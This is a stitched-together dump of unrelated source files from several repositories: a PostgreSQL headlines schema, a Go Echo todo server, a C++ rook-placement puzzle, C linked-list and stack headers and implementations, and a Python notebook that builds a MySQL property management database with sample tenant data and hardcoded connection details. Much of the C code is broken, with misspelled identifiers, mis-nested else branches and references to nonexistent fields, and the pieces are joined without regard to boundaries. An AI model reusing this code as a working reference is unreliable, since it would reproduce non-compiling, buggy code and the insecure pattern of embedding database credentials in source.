"last_updated" timestamp DEFAULT localtimestamp NOT NULL,
PRIMARY KEY (category_id)
);
CREATE TABLE "sources" (
"source_id" serial NOT NULL,
"source_name" VARCHAR(100) NOT NULL,
"last_updated" timestamp DEFAULT localtimestamp NOT NULL,
PRIMARY KEY (source_id)
);
CREATE TABLE "headlines" (
"article_id" serial NOT NULL,
"article_name" VARCHAR(500) NOT NULL,
"article_sub_header" VARCHAR(500) NOT NULL,
"source_id" int NOT NULL,
"category_id" int NOT NULL,
"url" VARCHAR(300) NOT NULL,
"last_updated" timestamp DEFAULT localtimestamp NOT NULL,
PRIMARY KEY (article_id),
CONSTRAINT fk_category
FOREIGN KEY(category_id)
REFERENCES category(category_id),
CONSTRAINT fk_sources
FOREIGN KEY (source_id)
REFERENCES sources(source_id)
);<file_sep># ETL-News_Headlines
ETL Process for current news headlines and updating to a SQL database
| f569c1dd7640991cbd5639c81378a36c9e8acee9 | [
"Markdown",
"SQL",
"Python"
] | 3 | Python | BrettimusGit/ETL-News-Headlines | 800769ca6574f02e9974eaa654c0a52644b3c549 | 68d3a604e8f3f7e0e14161f4eb2909defe440f13 | |
refs/heads/master | <file_sep># go-echo-vue-todo
Link to tutorial:
https://scotch.io/tutorials/create-a-single-page-app-with-go-echo-and-vue
<file_sep>// todo.go
package main
import (
// "net/http"
"database/sql"
"go-echo-vue/handlers"
"github.com/labstack/echo"
"github.com/labstack/echo/middleware"
_ "github.com/mattn/go-sqlite3"
// "github.com/labstack/echo/engine/standard"
)
// todo.go
func main() {
db := initDB("storage.db")
migrate(db)
e := echo.New()
// CORS default
//Allows requests from any origin wth GET, HEAD, PUT, POST or DELETE method.
// e.Use(middleware.CORS())
// CORS restricted
// Allows requests from any `https://labstack.com` or `https://labstack.net` origin
// wth GET, PUT, POST or DELETE method.
e.Use(middleware.CORSWithConfig(middleware.CORSConfig{
AllowOrigins: []string{"http://0.0.0.0:8000"},
AllowMethods: []string{echo.GET, echo.PUT, echo.POST, echo.DELETE},
}))
// e.File("/", "public/index.html")
e.GET("/tasks", handlers.GetTasks(db))
e.PUT("/tasks", handlers.PutTask(db))
e.DELETE("/tasks/:id", handlers.DeleteTask(db))
e.Logger.Fatal(e.Start(":1323"))
}
func initDB(filepath string) *sql.DB {
db, err := sql.Open("sqlite3", filepath)
if err != nil {
panic(err)
}
if db == nil {
panic("db nil")
}
return db
}
func migrate(db *sql.DB) {
sql := `
CREATE TABLE IF NOT EXISTS tasks(
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
name VARCHAR NOT NULL
)
`
_, err := db.Exec(sql)
if err != nil {
panic(err)
}
}
| 917b693d9198a9bfea69fc24e0d2cec0626ba3ef | [
"Markdown",
"Go"
] | 2 | Markdown | nicholaschris/go-echo-vue-todo | 1b1d0722afec55e685c8367bb140d85321dbb663 | 15c213fb03b9c855f45db363d52abf7363403fea | |
refs/heads/master | <file_sep>#include <iostream>
using namespace std;
//map info:
//0=free
//1=wall
//2=Rokh
void printmap(int map[5][5]) {
for(int i=1;i<=4;i++) {
for (int j = 1; j <= 4; j++) {
if (map[i][j] == 0)
cout << "00";
else if (map[i][j] == 1)
cout << "##";
else if (map[i][j] == 2)
cout << "**";
cout<<"|";
}
//------------
cout <<"\n";
}
}
int checkemap(int map[5][5]) {
int counter=0;
int i;
int j;
int sumcounter=0;
for (i=1;i<=4;i++)//set emap numbers
for (j=1;j<=4;j++) {
counter=0;
if (map[i][j] == 2) {
int tempj = j;
int tempi = i;
tempj++;
while (tempj <= 4) {//khone hay rast
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempj++;
}
tempj = j, tempi = i, tempj--;
while (tempj >= 1) {//khone hay chap tar
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempj--;
}
tempj = j, tempi = i,tempi++;
while (tempi <= 4) {//khone hay payen tar
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempi++;
}
tempj = j, tempi = i, tempi--;
while (tempi >= 1) {//khone hay bala tar
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempi--;
}
}
sumcounter+=counter;
}
return sumcounter;
}
void setemap(int map[5][5],int emap[5][5]){
int i,j;
for (i = 1; i <= 4; i++)//set emap numbers
for (j = 1; j <= 4; j++) {
int counter = 0;
if (map[i][j] == 2) {
int tempj = j;
int tempi = i;
tempj++;
while (tempj <= 4) {//khone hay rast
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempj++;
}
tempj = j, tempi = i, tempj--;
while (tempj >= 1) {//khone hay chap tar
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempj--;
}
tempj = j, tempi = i, tempi++;
while (tempi <= 4) {//khone hay payen tar
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempi++;
}
tempj = j, tempi = i, tempi--;
while (tempi >= 1) {//khone hay bala tar
if (map[tempi][tempj] == 1)
break;
if (map[tempi][tempj] == 2)
counter++;
tempi--;
}
}
emap[i][j] = counter;
}
}
void setrokh(int map[5][5],int emap[5][5]) {
int i;
int j;
for (i = 1; i <= 4; i++) {//set all free space to 2 (rokh location)
for (j = 1; j <= 4; j++) {
if (map[i][j] == 0)
map[i][j] = 2;
}
}
int deln = checkemap(map);
while (deln > 1) {
deln = checkemap(map);
if (deln==0)
break;
setemap(map, emap);
int tempmax = 0;
int k = 0;
for (i = 1; i <= 4; i++)//find max error!!!
for (j = 1; j <= 4; j++) {
if (tempmax < emap[i][j]) {
tempmax = emap[i][j];
}
}
for (i = 1; i <= 4; i++)//Number Of maxl need!!!
for (j = 1; j <= 4; j++) {
if (tempmax == emap[i][j]) {
k++;
}
}
int **maxl=new int *[k];
k = 0;
for (i = 1; i <= 4; i++)//find max error semalation!!!
for (j = 1; j <= 4; j++) {
if (tempmax == emap[i][j]) {
maxl[k]=new int [2];
maxl[k][0] = i;
maxl[k][1] = j;
k++;
}
}
int delet[2];
int deln = 99;
for (i = 0; i < k; i++) {
map[maxl[i][0]][maxl[i][1]] = 0;
if (deln >= checkemap(map)) {
deln = checkemap(map);
delet[0] = maxl[i][0];
delet[1] = maxl[i][1];
}
map[maxl[i][0]][maxl[i][1]] = 2;
}
map[delet[0]][delet[1]] = 0;
//printmap(map);//test
}
}
//void changerokh(int map[5][5]){
// int i,j;
// int rokh=0;
// for (i=1;i<=4;i++)
// for(j=1;j<=4;j++)
// if(map[i][j]==2)
// rokh++;//counter for set all rokh we have
// for (i=1;i<=4;i++)
// for(j=1;j<=4;j++)
// if(map[i][j]==2) {
// map[i][j] = 0;
// if(map[i-1][j]==0&i-1>=1) {
// map[i - 1][j] = 2;
// if (checkemap(map)==0)
// printmap(map);
// else {
// map[i - 1][j] = 0;
// map[i][j] = 2;
// }
// }
// else if(map[i+1][j]==0&i+1<=4) {
// map[i + 1][j] = 2;
// if (checkemap(map)==0)
// printmap(map);
// else {
// map[i + 1][j] = 0;
// map[i][j] = 2;
// }
// }else
// map[i][j]=2;
// }
//}
int main() {
bool error1=1;
int map[5][5];//map size 4*4 start from 1
int emap[5][5];//map error counter
for(int i=1;i<=4;i++)
for(int j=1;j<=4;j++)
map[i][j]=0;
int walls;
while (error1==1) {
cout << "enter Number Of Walls?";
cin >> walls;
if (walls >= 16)
cout << "Out OF Range!!!\n";
else
error1=0;
}
char wallarray[2][4];
int m=0;
for(int i=1;i<=walls;i++){
int x,y;
bool error2=1,error3=1;
while (error2==1) {
cout << "enter j location*soton:Wall(" << i << ")\n";
cin >> x;
if(x>0&&x<=4)
error2 = 0;
else
cout<<"Out Of Map Enter Number in Range(1-4)\n";
wallarray[0][m] = x + 48;
}
while (error3==1) {
cout << "enter i location*satr:Wall(" << i << ")\n";
cin >> y;
if(x>0&&x<=4)
error3 = 0;
else
cout<<"Out Of Map Enter Number in Range(1-4)\n";
wallarray[1][m] = y + 48;
}
map[y][x] = 1;
m++;
}
printmap(map);
cout<<"\nPress Enter To Continue...\n";
system("read -n1 -p ' ' key");
setrokh(map,emap);
printmap(map);
//changerokh(map);
return 0;
} | 3ff6b880bc8f4f86ccbcc08a9e910604c87779a9 | [
"C++"
] | 1 | C++ | ghaem51/setRokh | 916bde28f7dd22feefc1e46c003d7ca03d61481f | 1cbf78b8b47d7d1e733b40ba765ce33daf838236 | |
refs/heads/master | <file_sep>/* dlist.c */
#include <stdlib.h>
#include <string.h>
#include "dlist.h"
/* dlist_init */
void dlist_init(Dlist *list, void (*destory)(void *data)){
/* Initialize the list */
list->size = 0;
list->destory = destory;
list->head = NULL;
list->tail = NULL;
return;
}
/* dlist_destory */
void dlist_destory(Dlist *list){
void *data;
/* remove each element*/
while(dlist_size(list) > 0){
if(dlist_remove(list,dlist_tail(list), (void **)&data) == 0 && list->destory != NULL){
/*Call a user-defined function to free dynamixally allcoated data */
list->dstory(data);
}
}
/* No operations are allowed now , but clear the structure as a precaution */
memset(list, 0, sizeof(Dlist));
return;
}
/* dlist_ins_next */
int dlist_ins_next(Dlist *list, DlistElmet *element, const void *data){
DlistElmet *new_element;
/* Do not allow a NULL element unless the list is empty */
if(element == NULL && dlist_size(list) != 0)
return -1;
/* Allcoate storage for the element */
if((new_element = (DlistElmet *)malloc (sizeof(DlistElmet))) == NULL )
return -1;
/* Insert the new element into the list*/
new_element->data = (void *)data;
if(dlist_size(list) == 0){
/* Handle insertion when the list is empty*/
list->head = new_element;
list->head->prev = NULL;
list->head->next = NULL;
list->tail = new_element;
}
else{
/* Handle inseration when the list is not empty*/
new_element->next = element->next;
new_element->prev = element;
if(element->next == NULL)
list->tail = new_element;
else
element->next->prev = new_element;
element->next = new_element;
}
/* Adjust the size of the list to account for the inserted element */
list->size++;
return 0;
}
/* dlist_ins_prev */
int dlist_ins_prev(Dlist *list, DlistElmet *element, const void *data){
DlistElmet *new_element;
/* Do not allow a NULL element unless the list is empty */
if(element == NULL && dlist_size(list) != 0)
return -1;
/* Allcoate storage for the element */
if((new_element = (DlistElmet *)malloc (sizeof(DlistElmet))) == NULL )
return -1;
/* Insert the new element into the list*/
new_element->data = (void *)data;
if(dlist_size(list) == 0){
/* Handle insertion when the list is empty*/
list->head = new_element;
list->head->prev = NULL;
list->head->next = NULL;
list->tail = new_element;
}
else{
/* Handle inseration when the list is not empty*/
new_element->next = element;
new_element->prev = element->prev;
if(element->next == NULL)
list->head = new_element;
else
element->prev = new_element;
element->prev = new_element;
}
/* Adjust the size of the list to account for the inserted element */
list->size++;
return 0;
}
/* dlist_remove*/
int dlist_remove(Dlist *list, DlistElmet *element, void **data){
/* Do not allow a NULL element or removal from an empty list*/
if(element == NULL || dlist_size(list) == 0)
return -1;
/* remove the elemnet from the list*/
*data = element->data;
if(element == list->data){
/*Handle removal from thee head of the list*/
list->head = element->next;
if(list->head == NULL)
list->tail =NULL;
else
element->next->prev = NULL;
}
else{
/* Handle removal from other than the head of the list*/
element->prev->next == element->next;
if(element->next == NULL)
list->tail = element->prev;
else
element->next->prev = element->prev;
}
/*Free the storage allcoated by the abstract datatype*/
free(element);
list->size--;
return 0;
}
<file_sep>/* list.c */
#include <stdllib.h>
#include <string.h>
#include "list.h"
/* list_init */
void list_init(List *list, void (*destory)(void *data)){
list->size = 0;
list->head = NULL;
list->tail = NULL;
return;
}
/* list_destory */
void list_destory(List *list){
void *data;
while(list_size(list) > 0){
if(list_rem_next(list, NULL, (void **)&data) == 0 && list->destory != NULL){
/*call a user-defined function to free dynamically allocated data */
list->destory(data);
}
}
memset(list, 0, sizeof(List));
return;
}
/* list_ins_next */
int list_ins_next(List *list, ListElmt *element, const void *data){
ListElmt *new_element;
/* Allocate storge for the element */
if((new_element = (ListElmt *) malloc(sizeof(ListElmt))) == NULL)
return -1;
/* Insert the element into the list */
new_element->data = (void *) data;
if(element == NULL){
/* Handle insertion at the head of the list */
if(list_size(list) == 0)
list->tail = new_element;
new_element->next = list->head;
list->head = new_element;
else{
/* */
if(element->next == NULL)
list->tail = new_element;
new_element->next = element->next;
element->next = new_element;
}
}
list->size++;
return 0;
}
int list_rem_next(List *list, ListElmt *element, void *data){
ListElmt *old_element;
if(list_size(list) == 0)
return -1;
if(element == NULL){
/*handle remeoval from th head of the list*/
*data = list->head->data;
old_element = list->head;
if(list_size(list) == 1)
list->tail =NULL;
}
else{
if(element->naxt == NULL)
return -1;
*data = element->next->data;
old_element = element->nextl
element0->next = element0->next->next;
if(element->next =NULL)
list->tail = element;
}
/* Fress the sorafe allcoated by the abstract datatype */
free(old_element);
/*Adjust the size of the list to account for the emoved element*/
list->size--;
return 0;
}<file_sep>/* stack.h */
#ifndef STACK_H_
#define STACK_H_
#include <stdlib.h>
#include "list.h"
/* Implement stacks as linked lists*/
typedef List Stack;
/* Public interface */
#define stack_init list_init
#define stack_destory list_destory;
int stack_push(Stack *stack, const void *data);
int stack_pop(Stock *stack, void **data);
#define stack_peek(stack)((stack)->head == NULL ? NULL : (stack)->head->data)
#define stack_size list_size
#endif<file_sep>/* list.h */
/* 单链表的实现 */
#ifndef LIST_H_
#define LIST_H_
#include <stdlib.h>
/* Define a structure for linked list element elements */
typedef struct ListElmt_{
void *data;
struct ListElmt_ *next;
}ListElmt_;
/* define a structue for linked lists */
typedef struct struct_List_{
int size;//链表中元素的个数
int (*match)(const void *key1, const void *key2);
void (*destory) (void *data);//封装之后传递给list_init的析构函数
ListElmt_ *head;//指向链表中头结点元素的指针
ListElmt_ *tail;//指向链表中尾结点元素的指针
}List;
/* Public Intrerface */
void list_init(*list, void(*destory)(void * data));
void list_dedtory(List *list);
int list_ins_next(List *list, ListElmt_ *element ,const void *data);
int list_rem_next(List *list, ListElmt_ *element, void **data);
#define list_size(list) ((list)->size)
#define list_tail(list) ((list)->tail)
#define list_is_head(list, element)((element) == (list)->head ? 1 : 0)
#define list_is_tail(element)((element)->next == NULL ? 1 : 0)
#define list_data(element) ((element)->data)
#define list_next(element) ((element)->next)
#endif | 8918e307b89094c503f9e02c6b2444df79698389 | [
"C"
] | 4 | C | Latoris/Learn | 4ec712ca0d5b8540a51ef837ff2a0d31d4f68176 | fbe5f729d23435568ba1a584c6204402e391755a | |
refs/heads/main | <repo_name>zpesce/MISM-3403-Database-Lab-Work<file_sep>/3403_lab_work_zoe_pesce.py
# coding: utf-8
# # <NAME> | MISM 3403 | Database Lab Work | DLZHP LLC Property Management Database
# # Requirements:
# The DLZHP LLC Property Management Database will capture data about the following:
#
# For each building owned: a building ID (unique), building address, building number of floors, price building was purchased at, year building was purchased, year building was built, building age (derived from year built and current date)
#
# For each Apartment: a AptNo (partially unique, i.e., unique within a building), apartment number of bedrooms, apartment total rooms, rent amount
#
# For each Tenant: a Tenant ID (unique), Tenant Full Name (composed of Tenant First Name and Tenant Last Name), multiple Tenant phone numbers, Tenant birthday, Tenant age (derived from tenant birthday and current date)
#
# For each Building Manager: a Manager ID (unique), Manager Full Name (composed of Manager First Name and Manager Last Name), Manager Birthday, Manager Age (derived from manager birthday and current date), Manager salary, Manager bonus (optional), multiple manager phone numbers
#
# For each building inspector: an Inspector ID (unique), Inspector full name (composed of inspector first name and inspector last name)
#
# Each building has one or more apartments.
# Each apartment is located in exactly one building.
#
# Each apartment is leased to one or many tenants or it can be leased to none.
# Each tenant leases one or many apartments.
#
# Each building is managed by exactly one manager.
# Each manager manages one or many buildings.
#
# Each manager resides in exactly one building.
# Each building has one manager residing in it or no managers residing in it.
#
# Each inspector inspects one or many buildings.
# Each building is inspected by one or many inspectors.
#
# For each building that a particular inspector inspects, the dates of the last inspection and the date of the next future inspection by the inspector are recorded.
#
# For each apartment a tenant leases, the Tenant's move in date and the Tenant's lease term date are recorded.
# # ER Diagram:
# ![erdplus-diagram.png](attachment:erdplus-diagram.png)
# # Relational Schema:
# ![erdplus-diagram-2.png](attachment:erdplus-diagram-2.png)
# # Code:
# Have Python connect to mySQL and create schema
# In[1]:
import pymysql.cursors
import pymysql
# In[2]:
dsn_database = "neu_student"
dsn_hostname = "172.16.17.32"
dsn_port = 3306
dsn_uid = "neu"
dsn_pwd = "<PASSWORD>"
# In[3]:
conn = pymysql.connect(host=dsn_hostname, port=dsn_port, user=dsn_uid, passwd=<PASSWORD>, db=dsn_database)
# In[4]:
conn.query("""DROP SCHEMA IF EXISTS neu_student_zoe_pesce_labwork""")
conn.query("""CREATE SCHEMA neu_student_zoe_pesce_labwork""")
conn.query("""USE neu_student_zoe_pesce_labwork""")
conn.query("""DROP TABLE IF EXISTS leases, tenantphone, tenant, apartment, inspects, inspector, building, managerphone, manager;""")
conn.query("""CREATE TABLE manager
(
ManagerID VARCHAR(5) NOT NULL,
ManagerFName VARCHAR(20) NOT NULL,
ManagerLName VARCHAR(20) NOT NULL,
ManagerBDate Date NOT NULL,
ManagerSalary Decimal(10,2) NOT NULL,
ManagerBonus Decimal(10,2),
MResBuildingID VARCHAR(5),
PRIMARY KEY (ManagerID)
)""")
conn.query("""CREATE TABLE managerphone
(
ManagerID VARCHAR(5) NOT NULL,
ManagerPhone VARCHAR(14) NOT NULL,
PRIMARY KEY (ManagerID, ManagerPhone),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID)
)""")
conn.query("""CREATE TABLE building
(
BuildingID VARCHAR(5) NOT NULL,
BuildingAddress VARCHAR(60) NOT NULL,
BNoOfFloors INT NOT NULL,
BPricePurchased Decimal(10,2) NOT NULL,
BYearPurchased Int NOT NULL,
BYearBuilt INT NOT NULL,
ManagerID VARCHAR(5) NOT NULL,
PRIMARY KEY (BuildingID),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID)
)""")
conn.query("""CREATE TABLE inspector
(
InspectorID VARCHAR(5) NOT NULL,
InspectorFName VARCHAR(20) NOT NULL,
InspectorLName VARCHAR(20) NOT NULL,
PRIMARY KEY (InspectorID)
)""")
conn.query("""CREATE TABLE inspects
(
BuildingID VARCHAR(5) NOT NULL,
InspectorID VARCHAR(5) NOT NULL,
DateLast Date NOT NULL,
DateNext Date NOT NULL,
PRIMARY KEY (BuildingID, InspectorID),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID),
FOREIGN KEY (InspectorID) REFERENCES inspector(InspectorID)
)""")
conn.query("""CREATE TABLE apartment
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
AptNoOfRooms INT NOT NULL,
AptNoOfBedroom INT NOT NULL,
AptRentAmt Decimal(10,2) NOT NULL,
PRIMARY KEY (BuildingID, AptNo),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID)
)""")
conn.query("""CREATE TABLE tenant
(
TenantID VARCHAR(5) NOT NULL,
TenantFName VARCHAR(20) NOT NULL,
TenantLName VARCHAR(20) NOT NULL,
TenantBDate Date NOT NULL,
PRIMARY KEY (TenantID)
)""")
conn.query("""CREATE TABLE tenantphone
(
TenantID VARCHAR(5) NOT NULL,
TenantPhone VARCHAR(14) NOT NULL,
PRIMARY KEY (TenantID, TenantPhone),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID)
)""")
conn.query("""CREATE TABLE leases
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
TenantID VARCHAR(5) NOT NULL,
TMoveInDate Date NOT NULL,
TLeaseTermDate Date NOT NULL,
PRIMARY KEY (BuildingID, AptNo, TenantID),
FOREIGN KEY (BuildingID, AptNo) REFERENCES apartment(BuildingID, AptNo),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID)
)""")
# Insert values into Tables
# In[5]:
conn.query("""INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, ManagerBonus) VALUES('M1','Tony','Hernandez','1979-06-10',73000.00,2500.00)""")
conn.query("""INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, MResBuildingID) VALUES('M2','Dan','Pesce','1966-08-24',105000.00,'B1')""")
conn.commit()
# In[6]:
conn.query("""INSERT INTO managerphone VALUES('M1','212-555-0810')""")
conn.query("""INSERT INTO managerphone VALUES('M1','212-555-1738')""")
conn.query("""INSERT INTO managerphone VALUES('M2','914-555-2555')""")
conn.query("""INSERT INTO managerphone VALUES('M2','914-555-6063')""")
conn.query("""INSERT INTO managerphone VALUES('M2','914-555-6510')""")
conn.commit()
# In[7]:
conn.query("""INSERT INTO building VALUES('B1','30 Downing St. New York, NY 10014',6,2000000.00,2002,1901,'M2')""")
conn.query("""INSERT INTO building VALUES('B2','3242 Middletown Rd. Bronx, NY 10465',4,350000.00,1995,1932,'M1')""")
conn.query("""INSERT INTO building VALUES('B3','3244 Middletown Rd. Bronx, NY 10465',4,300000.00,1993,1932,'M1')""")
conn.query("""INSERT INTO building VALUES('B4','1628 Kennelworth Pl. Bronx, NY 10465',4,550000.00,2007,1921,'M1')""")
conn.query("""INSERT INTO building VALUES('B5','1634 Kennelworth Pl. Bronx, NY 10465',2,250000.00,2008,1947,'M1')""")
conn.query("""INSERT INTO building VALUES('B6','3268 Middletown Rd. Bronx, NY 10465',3,480000.00,2006,1935,'M1')""")
conn.commit()
# In[8]:
conn.query("""INSERT INTO inspector VALUES('I1','John','Peabody')""")
conn.query("""INSERT INTO inspector VALUES('I2','Ralph','Eames')""")
conn.query("""INSERT INTO inspector VALUES('I3','Anthony','Zaro')""")
conn.commit()
# In[9]:
conn.query("""INSERT INTO inspects VALUES('B1','I3','2017-03-15','2018-05-15')""")
conn.query("""INSERT INTO inspects VALUES('B2','I1','2017-04-01','2018-06-08')""")
conn.query("""INSERT INTO inspects VALUES('B3','I2','2017-02-15','2018-07-10')""")
conn.query("""INSERT INTO inspects VALUES('B4','I2','2017-08-17','2018-09-20')""")
conn.query("""INSERT INTO inspects VALUES('B5','I1','2017-10-26','2018-11-15')""")
conn.query("""INSERT INTO inspects VALUES('B6','I1','2017-09-18','2018-09-20')""")
conn.commit()
# In[10]:
conn.query("""INSERT INTO apartment VALUES('B1',1,2,1,2500.00)""")
conn.query("""INSERT INTO apartment VALUES('B1',2,2,1,2500.00)""")
conn.query("""INSERT INTO apartment VALUES('B1',3,4,1,4500.00)""")
conn.query("""INSERT INTO apartment VALUES('B1',4,6,2,6500.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',1,5,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',2,4,1,1250.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',3,4,1,1200.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',4,4,1,1250.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',5,4,1,1475.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',6,5,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',7,2,1,850.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',1,6,2,1500.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',2,4,1,1400.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',3,4,1,1200.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',4,4,1,1250.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',5,4,1,950.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',6,3,1,1300.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',7,2,1,1100.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',1,7,3,1800.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',2,7,3,2000.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',3,5,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',4,5,2,1750.00)""")
conn.query("""INSERT INTO apartment VALUES('B5',1,3,1,1500.00)""")
conn.query("""INSERT INTO apartment VALUES('B5',2,3,1,1300.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',1,6,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',2,5,2,1350.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',3,3,1,1300.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',4,2,1,1100.00)""")
conn.commit()
# In[11]:
conn.query("""INSERT INTO tenant VALUES('T1','Andrew','Pesce','1992-06-05')""")
conn.query("""INSERT INTO tenant VALUES('T2','Hannah','Pesce','1998-06-10')""")
conn.query("""INSERT INTO tenant VALUES('T3','Dan','Pesce','1966-08-24')""")
conn.query("""INSERT INTO tenant VALUES('T4','Lucia','Pesce','1967-03-25')""")
conn.query("""INSERT INTO tenant VALUES('T5','Rebecca','Johnson','1985-07-06')""")
conn.query("""INSERT INTO tenant VALUES('T6','Catherine','Turlington','1984-02-03')""")
conn.query("""INSERT INTO tenant VALUES('T7','Debbie','Freedman','1970-04-21')""")
conn.query("""INSERT INTO tenant VALUES('T8','Vivian','Charles','1962-07-20')""")
conn.query("""INSERT INTO tenant VALUES('T9','Tim','Arnold','1967-12-30')""")
conn.query("""INSERT INTO tenant VALUES('T10','Rita','Wright','1968-05-10')""")
conn.query("""INSERT INTO tenant VALUES('T11','Chris','Lloyd','1988-09-13')""")
conn.query("""INSERT INTO tenant VALUES('T12','Bill','Rogers','1965-08-04')""")
conn.query("""INSERT INTO tenant VALUES('T13','Carol','Coscia','1955-03-16')""")
conn.query("""INSERT INTO tenant VALUES('T14','Yvonne','Snell','1963-04-07')""")
conn.query("""INSERT INTO tenant VALUES('T15','Colleen','Smith','1982-10-10')""")
conn.query("""INSERT INTO tenant VALUES('T16','Nicholas','Cruz','1985-10-20')""")
conn.query("""INSERT INTO tenant VALUES('T17','Rudy','Rose','1977-02-18')""")
conn.query("""INSERT INTO tenant VALUES('T18','Milton','Mason','1964-06-22')""")
conn.query("""INSERT INTO tenant VALUES('T19','Jennifer','Apple','1961-01-25')""")
conn.query("""INSERT INTO tenant VALUES('T20','Tony','Cooke','1976-01-27')""")
conn.query("""INSERT INTO tenant VALUES('T21','Ashley','Bloomberg','1958-01-18')""")
conn.query("""INSERT INTO tenant VALUES('T22','Lizbeth','Simpson','1974-06-12')""")
conn.query("""INSERT INTO tenant VALUES('T23','Mario','Dutti','1966-11-19')""")
conn.query("""INSERT INTO tenant VALUES('T24','Manual','Perry','1983-12-03')""")
conn.query("""INSERT INTO tenant VALUES('T25','George','Clark','1981-08-29')""")
conn.query("""INSERT INTO tenant VALUES('T26','Peter','Pan','1982-09-10')""")
conn.query("""INSERT INTO tenant VALUES('T27','Emily','Bell','1983-03-14')""")
conn.query("""INSERT INTO tenant VALUES('T28','Chris','Cooper','1986-05-04')""")
conn.commit()
# In[12]:
conn.query("""INSERT INTO tenantphone VALUES('T1','212-555-3245')""")
conn.query("""INSERT INTO tenantphone VALUES('T2','914-555-6509')""")
conn.query("""INSERT INTO tenantphone VALUES('T2','212-555-2555')""")
conn.query("""INSERT INTO tenantphone VALUES('T3','914-555-6063')""")
conn.query("""INSERT INTO tenantphone VALUES('T3','914-555-2555')""")
conn.query("""INSERT INTO tenantphone VALUES('T3','914-555-6510')""")
conn.query("""INSERT INTO tenantphone VALUES('T4','914-555-6684')""")
conn.query("""INSERT INTO tenantphone VALUES('T4','914-555-2555')""")
conn.query("""INSERT INTO tenantphone VALUES('T5','413-555-5687')""")
conn.query("""INSERT INTO tenantphone VALUES('T5','212-555-8006')""")
conn.query("""INSERT INTO tenantphone VALUES('T6','796-555-3475')""")
conn.query("""INSERT INTO tenantphone VALUES('T6','212-555-7468')""")
conn.query("""INSERT INTO tenantphone VALUES('T7','948-555-9302')""")
conn.query("""INSERT INTO tenantphone VALUES('T8','738-555-2835')""")
conn.query("""INSERT INTO tenantphone VALUES('T9','934-555-1029')""")
conn.query("""INSERT INTO tenantphone VALUES('T9','212-555-3927')""")
conn.query("""INSERT INTO tenantphone VALUES('T10','832-555-6930')""")
conn.query("""INSERT INTO tenantphone VALUES('T11','938-555-4830')""")
conn.query("""INSERT INTO tenantphone VALUES('T11','212-555-2234')""")
conn.query("""INSERT INTO tenantphone VALUES('T12','349-555-7730')""")
conn.query("""INSERT INTO tenantphone VALUES('T13','834-555-3928')""")
conn.query("""INSERT INTO tenantphone VALUES('T13','212-555-8854')""")
conn.query("""INSERT INTO tenantphone VALUES('T14','254-555-6054')""")
conn.query("""INSERT INTO tenantphone VALUES('T14','212-555-5936')""")
conn.query("""INSERT INTO tenantphone VALUES('T15','530-555-3928')""")
conn.query("""INSERT INTO tenantphone VALUES('T16','720-555-3948')""")
conn.query("""INSERT INTO tenantphone VALUES('T17','648-555-2039')""")
conn.query("""INSERT INTO tenantphone VALUES('T18','182-555-3759')""")
conn.query("""INSERT INTO tenantphone VALUES('T19','134-555-2261')""")
conn.query("""INSERT INTO tenantphone VALUES('T19','212-555-7993')""")
conn.query("""INSERT INTO tenantphone VALUES('T20','453-555-3344')""")
conn.query("""INSERT INTO tenantphone VALUES('T20','212-555-9952')""")
conn.query("""INSERT INTO tenantphone VALUES('T21','326-555-1284')""")
conn.query("""INSERT INTO tenantphone VALUES('T22','372-555-0384')""")
conn.query("""INSERT INTO tenantphone VALUES('T23','843-555-3027')""")
conn.query("""INSERT INTO tenantphone VALUES('T23','212-555-0674')""")
conn.query("""INSERT INTO tenantphone VALUES('T24','947-555-0384')""")
conn.query("""INSERT INTO tenantphone VALUES('T24','212-555-0085')""")
conn.query("""INSERT INTO tenantphone VALUES('T25','382-555-3221')""")
conn.query("""INSERT INTO tenantphone VALUES('T25','212-555-4038')""")
conn.query("""INSERT INTO tenantphone VALUES('T26','418-555-6748')""")
conn.query("""INSERT INTO tenantphone VALUES('T27','418-555-9744')""")
conn.query("""INSERT INTO tenantphone VALUES('T28','638-555-9853')""")
conn.commit()
# In[13]:
conn.query("""INSERT INTO leases VALUES('B1',1,'T1','2016-06-01','2018-06-01')""")
